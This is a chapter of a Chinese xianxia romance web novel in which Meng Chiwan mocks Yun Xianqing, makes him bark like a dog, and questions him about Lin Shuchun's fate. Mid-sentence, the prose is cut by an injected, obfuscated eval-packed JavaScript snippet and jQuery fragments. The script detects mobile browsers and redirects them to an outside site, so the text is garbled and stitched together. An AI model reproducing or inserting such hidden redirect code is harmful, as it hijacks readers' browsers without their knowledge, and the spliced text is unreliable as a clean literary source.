“做我的狗,汪汪叫两声就好了。”
这句话说得实在是刻薄极了,也实在是与孟迟菀太不相配了。
云羡清透过水面望着自己的面容,似乎能从自己那双漆黑的眼睛里望见迟菀的模样。
那个向来温婉善良的姑娘,什么时候变成这幅模样了呢?
大概是从他闯入她生命时开始的。这是很可悲的一件事,孟迟菀不该是这样的,她应该是明媚的,应该是那个在佛龛前虔诚放下佛珠的姑娘。
他竟然没有觉得被侮辱了。他只是想到了从前的孟迟菀,那时她也曾满腔真情,就像太阳一样,从不掩饰自己的情谊,看着他时总是满怀欣喜的。
那份情谊太烫了,灼烧得他遍体生疤。于是后来她要收回情谊时,他控制不住地一遍遍地撕裂着那些疤痕,妄图再留下些什么。
到如今,只余下痛。
痛,可也是爱。
“好啊,只要是属于迟菀的就好。”云羡清微微笑着,漆黑的眼中既有颓丧,又含着些明灭的疯意,“迟菀只可以有我这一条狗。”
他竟然真的认同了。
孟迟菀蹙眉。
疯子。
“若是我也像你爹那样对你怎么办?”孟迟菀声音带着笑,将他的苦痛像玩笑话一样说出来。
人一旦刻薄起来是没有尽头的,恶念会随着缓慢生长起来,孟迟菀是知道这一点的,可也正是因为知道,所以才可以肆无忌惮对云羡清说出这句话。
在这个世间,也许她不会再对第二个人这样说话了,拼命将所有的话语都化作刀子,巴不得每一句话都深深扎入他心里,巴不得那些伤口永远不会愈合,那些伤疤永远不会消失。
只有他痛了,她才真真切切地能感受到自己还有情绪。
云羡清僵硬了一瞬,随即那双漆黑的眼睛里漫上来了一点点浪潮,他似乎是难过的,可是直到如今他也不愿真的在她面前表现出脆弱,尤其是对那些少年往事,他竭尽全力想要表现出自己已经不再是尘浊。
于是他只是垂下眸子,收回了手,流水在他手心划过,留下一滩水渍:“迟菀不会这样的。”
孟迟菀嗤笑一声,笑声中尽数是些嘲意:“你以为自己很了解我?云羡清,我们之间为何会走到这一步?是因为我不了解你,不知道你虚伪卑劣的本质,你也不了解我,不知道我本就是个睚眦必报的人。你拼尽全力想要成为云羡清,可是云羡清,你在我眼里,甚至不如那个少年尘浊有魅力。”
云羡清痛苦地闭上双眼,可无论如何也挡不住孟迟菀的声音。
“你拼命往上爬,成为了如今万人景仰的清遗仙君……可是你本质上——”孟迟菀语调缓慢,像在用钝刀子轻轻划在他的皮肉之上,“毫无魅力。”
毫无魅力。
云羡清几乎要维持不住表面的平静了,他低头看着自己的手,那双手上分明什么也没有,可他的视野中偏偏就是能看见满手的鲜血,能看见一把长剑——是那把刺穿她的长剑。
毫无魅力——
从没有任何一刻,他这般清晰地明白,他伪装出来的清遗仙君,与他云羡清是这样彻彻底底的不一样。
孟迟菀喜欢的从不是云羡清,是清遗仙君那般人,而不是这样一个卑劣的云羡清。
“孟迟菀。”这大概是他第一次这样唤她,也许也是最后一次,他声音平静到像一潭死水,“你要是块木头就好了。”
这样他就可以将她带回家摆在床榻上,精雕细琢她的一颦一笑,轻柔地描摹她的每一寸肌理,不用再听到这些伤人的话,更不用一次次地从噩梦中惊醒后发觉他们之间再也回不到从前了。
“那太可惜了,我长了心也长了脑子。”孟迟菀笑着开口,“倒是你,如今的确像块木头。”
“你会将木头带回家吗?”云羡清像是听不懂她话里的讥讽,认真问她。
孟迟菀答:“不会。”
“是吗。”云羡清低低笑了一声,月色凄凄,映照出他病态的眉眼,“可是木头很想跟你回家。”
他低头,将那些未尽的话藏进倒影里。
能不能,带他回家。能不能……忘掉这些。
要是能让她忘掉这些——
“骗你的。”孟迟菀忽然叹了口气。
云羡清心被这句话高高吊起,他安静等待她的后话。
“我不要不会叫的狗,会咬人的。”孟迟菀见云羡清认真的模样,满不在意笑出了声。
“不会咬人。”云羡清轻轻吐出一口气,不仅没有生气,反倒十分认真地解释起来。
他像是真的考虑过要做她的狗这件事。
“可是你不会叫。”孟迟菀道。
“你想我怎么叫?”云羡清一字一句问她。
“怎么叫还要我教你吗。”孟迟菀不满道。
云羡清认真听着她每一个字节,像是要将她的每一句话都刻进骨子里。
她已经很久没有这样和他说过话了,哪怕是折辱,又如何呢?
他唇角微微掀起,绮丽的眉眼再次漫上些深沉,像是一汪深不见底的潭。
“汪。”
这具少年的身体所发出的声音尚还有些青涩,可声音是极好听的,哪怕历尽千帆,总归也还有些独特的少年气。
这个音节在孟迟菀耳畔炸开,恍惚间像是云羡清贴着她面颊从唇缝中溜出来的。
“难听。”其实是有些失神的,但她身体本能地便吐出了尖刺。
“汪。”云羡清再叫了一声。
孟迟菀面不改色:“还是难听。”
“有多难听?”云羡清问她。
孟迟菀:“好难听特别难听,满意了么。”
特别。看吧,他在她心里始终还是特别的。
云羡清便笑了起来,久违地尝到了甜头。
而后孟迟菀下一刻便问:“林抒春怎么样了?”
云羡清收起了笑容:“你很关心他吗?”
“自然。”孟迟菀理所应当地回答,“或许你不记得林宅都发生了什么,但是我记得。”
“我记得。”云羡清垂下眉眼道。
“可是你从不关心。你说的好多话都是哄骗我的。”孟迟菀道。
云羡清心上传来一阵刺痛——心脏其实已经很久没有这么强的存在感过了,可是这段时间它总是在疼,总是在反反复复地折磨他。
再没有什么比回忆往昔更能让他难受了。因为美好,所以刻骨,又因为美好,所以那些虚妄才格外刺骨。
“对不起。”
孟迟菀轻轻啧了一声:“尽给些没人要的道歉,你若是真的内
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248861|166091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疚——”
她眨了眨眼睛,满目真诚:“不如将你的修为传给我,或者为我献祭,让我一步成长为修真界大能?”
云羡清思索了一下,似乎是觉得可行:“然后呢?你我之间怎么办?”
“我整日折辱你,然后你不堪重负自尽如何?这个结局你喜欢吗?”孟迟菀诚心诚意提出建议。
“如何折辱?”云羡清还是没有半分生气,反问道。
“你先告诉我林抒春在哪。”孟迟菀不接话茬。
“死了。”云羡清平静道。
“你骗我。”孟迟菀笑意彻底消失了,像是被深海中的巨怪一下子吞噬掉了所有。
“我不会再骗你。”云羡清清楚地感知到孟迟菀情绪的变化,漆色的眼瞳略微向上抬,看了眼月亮,而后开口。
月亮从来听不见他的祈求,这次能不能听见他的承诺。
可惜孟迟菀不知晓他的柔肠百转,只冷漠道:“如何死的?他如今在何处?柳苑又在哪?”
这次云羡清没有第一时间回答她,只是问她:“若是有天有人告诉你我死了,你也会这样刨根问底地问吗?”
“那自然是要问的,不然错过了一段美梦的素材。”孟迟菀道。
云羡清似乎是气笑了,道:“人不是只有一种死亡的。”
孟迟菀不明所以,默了一瞬,道:“那就是他还活着吗?”
“现实意义上来说,也许算还活着。”云羡清这次没有过多解释,声音也轻轻的,有些像当初在林宅时的他。
“柳苑呢?”孟迟菀不死心,又问。
“也死了。”
“这次是现实意义上的吗?”孟迟菀接着问。
“是。”云羡清道。
“那你还活着吗?从非现实意义上来说。”孟迟菀思索片刻,问他。
云羡清难得愣住,轻笑一声:“活着。因为迟菀还愿意同我说话。”
“那你现在死一下吧。”孟迟菀没好气道。
下一瞬,云羡清真的用满含笑意的声音道:“好。”
“当真?怎么死?”孟迟菀有种柳暗花明的惊喜感,声音都是压抑不住的悦然。
云羡清轻叹口气,不知是叹她的态度还是叹着短暂的重逢:“棋子里的故事走完了,你得离开了。”
孟迟菀这才想起来自己正在一副棋盘上,但故事太长,磨灭掉她的一些思绪。
云羡清最后道:“下次见面,迟菀能告诉我如何折辱吗?”
孟迟菀在心里无语了一下,而后便听见几声清越的铃声,一声声像是穿过了她的灵魂,抵达她从未探索过的地方。
“你回来了。”少女的声线还是有几分非人感,“你见到尘浊了吗?”
“见过了。”孟迟菀睁眼,前方的黑子瞬间化作齑粉,一条崭新的路出现在她面前。
“你找到答案了吗?”少女的声音像是从天上飘来的,飘飘渺渺,像是风里的云烟。
“找到了。”
“那你接下来想要怎么办?”
“去寻一个据说精神死亡的人。”
少女没再说话。
混沌中的那条路明晰起来,孟迟菀一步步朝前走着。
每一步都是实地,每一步都很稳。接近真相的时候,每一步都弥足珍贵。